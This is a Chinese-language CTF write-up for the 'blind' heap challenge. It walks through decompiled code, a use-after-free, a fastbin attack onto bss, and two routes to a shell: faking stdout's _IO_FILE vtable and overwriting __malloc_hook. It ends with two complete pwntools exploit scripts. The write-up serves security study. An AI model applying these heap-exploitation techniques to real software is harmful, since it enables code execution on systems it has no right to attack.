文件下载
文件分析
1 2 3 4 5 6
| $ checksec blind Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000)
|
代码分析
1 2 3 4 5 6 7
| int menu() { puts("1.new"); puts("2.change"); puts("3.release"); puts("4.exit"); return printf("Choice:"); }
|
1.new 检查了11# v1<=5
,但因为v1为unsigned所以不能下溢
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| unsigned __int64 add() { unsigned int v1; char s[24]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("Index:"); memset(s, 0, 0x10uLL); read(0, s, 0xFuLL); v1 = atoi(s); if ( v1 <= 5 && !ptr[v1] ) { ptr[v1] = malloc(0x68uLL); printf("Content:"); read_line(ptr[v1], 0x68u); puts("Done!"); } return __readfsqword(0x28u) ^ v3; }
|
2.change 正常修改内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| unsigned __int64 edt() { unsigned int v1; char s[24]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("Index:"); memset(s, 0, 0x10uLL); read(0, s, 0xFuLL); v1 = atoi(s); if ( v1 <= 5 && ptr[v1] ) { printf("Content:"); read_line(ptr[v1], 0x68u); puts("Done!"); } return __readfsqword(0x28u) ^ v3; }
|
3.release 明显存在use after free 但最多只能free三次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| unsigned __int64 sub_400B41() { unsigned int v1; char s[24]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("Index:"); memset(s, 0, 0x10uLL); read(0, s, 0xFuLL); v1 = atoi(s); if ( v1 <= 5 && ptr[v1] && free_cnt <= 2 ) { free(ptr[v1]); ++free_cnt; puts("Done!"); } return __readfsqword(0x28u) ^ v3; }
|
发现还有个后门函数 肯定目标就是这里
1 2 3
| int get_shell() { return system("/bin/sh"); }
|
攻击方法
由于开了Full RELRO
写不了GOT表 ;并且没有可控的输出语句 无法泄露libc基地址
想着能不能通过UAF:add 0, dlt 0, add 1 (此时ptr[0]==ptr[1]), dlt 0 (此时ptr[0]位于bin中且可通过ptr[1]修改内容)
来分配bss段上空间实现写入
0x68大小的chunk释放后会进入fastbin[0x70]
因此需要找到一个bss中的qword满足在0x0000000000000070-000000000000007f
之间(因为最后三位的标志位),作为size域,进而分配到bss上
1 2 3 4 5
| gef➤ find 0x602020, 0x602500, 0x000000000000007f 0x602025 <stdout+5> 0x602035 <stdin+5> 0x602045 <stderr+5> 3 patterns found.
|
那么可选堆的起始地址为0x602045-8 = 0x60203d
尝试:
1 2 3 4 5 6 7
| add(0, b'0000') dlt(0) add(1, b'1111') dlt(0) edt(1, p64(0x60203d)) add(2, b'2222') add(3, b'\x00')
|
发现可以成功获取
1 2 3 4 5 6 7
| gef➤ sq 0x602020 0x602020 <stdout>: 0x00007f8160fc5620 0x0000000000000000 0x602030 <stdin>: 0x00007f8160fc48e0 0x0000000000000000 0x602040 <stderr>: 0x00007f8160fc5540 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x00000000021f4010 0x00000000021f4010 0x602070: 0x00000000021f4010 0x000000000060204d # here
|
那么由此就可以实现任意地址写了(先edt(ptr[3]),使得ptr[0]处地址为目标地址,然后再edt(ptr[0]))
法一
关于_IO_FILE利用可以参考:https://www.anquanke.com/post/id/164558
- 改写
stdout
指针为特定构造的伪_IO_FILE 指针 p = 0x602100
- 修改
p + 0xd8 = 0x6021d8
的vtable指针为fake_vtable = 0x602200
- 将
fake_vtable
指针指向的多个函数指针都改为后门函数地址
源stdout指针指向内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| gef➤ sq 0x00007f8160fc5620 0x7f8160fc5620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007f8160fc56a3 0x7f8160fc5630 <_IO_2_1_stdout_+16>: 0x00007f8160fc56a3 0x00007f8160fc56a3 0x7f8160fc5640 <_IO_2_1_stdout_+32>: 0x00007f8160fc56a3 0x00007f8160fc56a3 0x7f8160fc5650 <_IO_2_1_stdout_+48>: 0x00007f8160fc56a3 0x00007f8160fc56a3 0x7f8160fc5660 <_IO_2_1_stdout_+64>: 0x00007f8160fc56a4 0x0000000000000000
gef➤ p *(struct _IO_FILE*) 0x00007f8160fc5620 $1 = { _flags = 0xfbad2887, _IO_read_ptr = 0x7f8160fc56a3 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7f8160fc56a3 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7f8160fc56a3 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7f8160fc56a3 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7f8160fc56a3 <_IO_2_1_stdout_+131> "\n", [...] }
|
需要注意的是 我们需要绕过一些限制,所以要更改_flags
使得 flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0 (这里改为0x00000000fbada887)
因为我们修改了stdout
,在下一次调用puts
时即会自动调用后门函数
法二
参考的大佬的思路:http://p4nda.top/2018/08/27/WDBCTF-2018/
是否可以修改 __malloc_hook
? 因为不能泄露地址,则需要 __malloc_hook
地址出现在bss段才能通过edt写入
通过在bss段上伪造一个unsorted_bin大小的chunk并释放 则main arena+88
的地址就会出现在bss段上 ,通过修改其最低字节为00,则可再通过edt写到__malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| gef➤ sq 0x602020 0x602020 <stdout>: 0x00007fefbd3c5620 0x0000000000000000 0x602030 <stdin>: 0x00007fefbd3c48e0 0x0000000000000000 0x602040 <stderr>: 0x00007fefbd3c5540 0x3030300000000000 0x602050: 0x3030303030303030 0x3030303030303030 0x602060: 0x0000000000602080 0x00000000016cc000 0x602070: 0x0000000000000000 0x0000000000000091 0x602080: 0x00007fefbd3c4b78 0x00007fefbd3c4b78
gef➤ sq 0x00007fefbd3c4b00 0x7fefbd3c4b00 <__memalign_hook>: 0x00007fefbd085e20 0x00007fefbd085a00 0x7fefbd3c4b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7fefbd3c4b20: 0x0000000000000000 0x0000000000000000 0x7fefbd3c4b30: 0x0000000000000000 0x0000000000000000 0x7fefbd3c4b40: 0x0000000000000000 0x0000000000000000 0x7fefbd3c4b50: 0x0000000000000000 0x0000000000000000 0x7fefbd3c4b60: 0x0000000000000000 0x0000000000000000 0x7fefbd3c4b70: 0x0000000000000000 0x00000000016cc070 # main arena+88 = 0x7fefbd3c4b78
|
exp
exp1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from pwn import * import sys
pty = process.PTY context(os='linux', arch='i386', log_level='debug')
mode = '' if len(sys.argv) > 1: mode = sys.argv[1]
proc = process("./blind") libc = ELF("./libc.so.6")
def s(x): proc.send(x) def sl(x): return proc.sendline(x) def sd(x): return proc.send(x) def sla(x, y): return proc.sendlineafter(x, y) def sa(x, y): return proc.sendafter(x, y) def ru(x): return proc.recvuntil(x) def rc(): return proc.recv() def rl(): return proc.recvline() def li(con): return log.info(con) def ls(con): return log.success(con) def pi(): return proc.interactive() def pcls(): return proc.close() def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
def add(idx, con): sla(b':', b'1') sla(b':', str(idx).encode()) sla(b':', con)
def edt(idx, con): sla(b':', b'2') sla(b':', str(idx).encode()) sla(b':', con)
def dlt(idx): sla(b':', b'3') sla(b':', str(idx).encode())
def write(addr, con): edt(3, b'0'*0x13 + p64(addr)) edt(0, con)
gscript = ''' b * 0x0000000000400C75 ''' if mode == '-d': gdb.attach(proc, gdbscript=gscript)
get_shell = 0x00000000004008E3 add(0, b'0000') dlt(0) add(1, b'1111') dlt(0) edt(1, p64(0x60203d)) add(2, b'2222') add(3, b'\x00')
write(0x602100, p64(0xfbada887)) write(0x6021d8, p64(0x602200)) write(0x602200, p64(get_shell) * 12) write(0x602020, p64(0x602100))
pi() pause()
|
exp2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import * import sys
pty = process.PTY context(os='linux', arch='i386', log_level='debug')
mode = '' if len(sys.argv) > 1: mode = sys.argv[1]
proc = process("./blind") libc = ELF("./libc.so.6")
def s(x): proc.send(x) def sl(x): return proc.sendline(x) def sd(x): return proc.send(x) def sla(x, y): return proc.sendlineafter(x, y) def sa(x, y): return proc.sendafter(x, y) def ru(x): return proc.recvuntil(x) def rc(): return proc.recv() def rl(): return proc.recvline() def li(con): return log.info(con) def ls(con): return log.success(con) def pi(): return proc.interactive() def pcls(): return proc.close() def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
def add(idx, con): sla(b':', b'1') sla(b':', str(idx).encode()) sla(b':', con)
def edt(idx, con): sla(b':', b'2') sla(b':', str(idx).encode()) sla(b':', con)
def dlt(idx): sla(b':', b'3') sla(b':', str(idx).encode())
def write(addr, con): edt(5, b'0'*0x13 + p64(addr)) edt(0, con)
gscript = ''' b * 0x0000000000400C75 c ''' if mode == '-d': gdb.attach(proc, gdbscript=gscript)
get_shell = 0x00000000004008E3 add(0, b'0000') dlt(0) add(1, b'1111') dlt(0) edt(1, p64(0x60203d)) add(2, b'2222') add(5, b'\x00')
write(0x602070, p64(0) + p64(0x91)) write(0x602070 + 0x90, p64(0x90) + p64(0x21)) write(0x602070 + 0x90 + 0x20, p64(0x20) + p64(0x21))
write(0x602060, p64(0x602080)) dlt(0) edt(0, b'') edt(4, p64(get_shell) * 3) sla(b':', b'1') sla(b':', b'2')
pi() pause()
|